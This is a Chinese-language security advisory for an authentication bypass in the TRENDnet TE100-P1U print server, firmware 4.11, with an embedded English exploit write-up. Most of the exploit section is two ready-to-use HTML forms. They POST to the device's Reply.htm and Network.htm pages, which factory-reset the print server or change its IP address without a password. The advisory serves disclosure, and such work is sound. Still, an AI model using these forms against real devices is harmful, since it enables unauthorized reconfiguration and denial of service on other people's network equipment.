发布日期：2013-06-23
更新日期：2013-06-25
受影响系统：
trendnet TE100-P1U 4.11
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 60727
TRENDnet TE100-P1U是一款打印服务器，可转换任何独立USB网络打印机为共享网络打印机。
TRENDnet TE100-P1U 固件4.11版本和其他版本存在多个身份验证绕过漏洞，攻击者可利用这些漏洞绕过身份验证机制并执行未授权操作。
<*来源：Chako
链接：
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#############################################################
#
# Exploit Title: TRENDnet TE100-P1U Print Server Firmware 4.11 Authentication Bypass Vulnerability
# Date: 2013/6/20
# Exploit Author: Chako
# Firmware Version: 4.11
# Tested on: Windows 7
#############################################################
Description:
=====================
A remote authentication bypass vulnerability affects TRENDnet TE100-P1U Print Server.
This issue is due to a failure of the application to validate authentication
credentials when processing print server configuration change requests.
An attacker could reset print server to factory sttings or changeing its IP address without
password security check.
Exploit:
=====================
1)Reset Print Server To Factory Settings
<form action="http://IP/Reply.htm" method="POST">
<table cellpadding="3" cellspacing="0">
<tbody><tr><td>Factory Reset</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" cellpadding="5" cellspacing="1">
<tbody><tr><td bgcolor="#F0F0F0"> <span>Do you want to restore Print Server to factory default setting?</span></td></tr>
</tbody></table><br>
<input value=" Yes " type="submit">
</form>
1)Change Print Server IP Address
<form action="http://IP/Network.htm" method="POST">
<table cellpadding="3" cellspacing="0">
<tbody><tr><td>Change IP Address</td></tr>
</tbody></table>
<table bgcolor="#FFFFFF" cellpadding="5" cellspacing="1">
<tbody><tr>
<td bgcolor="#C5CEDA" valign="top"> IP Address:</td>
<td bgcolor="#F0F0F0" valign="top">
<table>
<tbody><tr><td>
<input value="1" type="radio">Manually Assign
<table cellpadding="3" cellspacing="0">
<tbody><tr>
<td></td><td>IP Address</td>
<td>: <input size="18" value="192.168.1.110" type="text"></td>
</tr>
<tr>
<td></td><td>Subnet Mask</td>
<td>: <input size="18" value="255.255.255.0" type="text"></td>
</tr>
<tr>
<td></td><td>Default Gateway</td>
<td>: <input size="18" value="192.168.1.254" type="text"></td>
</tr>
</tbody></table>
</td></tr>
</tbody></table>
</td>
</tr>
</tbody></table>
<table cellpadding="5" cellspacing="1">
<tbody><tr>
<td> </td>
<td> <input value=" Save " type="submit"> <input value="Cancel" type="reset"></td>
</tr>
</tbody></table>
</form>
建议：
--------------------------------------------------------------------------------
厂商补丁：
trendnet
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
?prod=130_TE100-P1U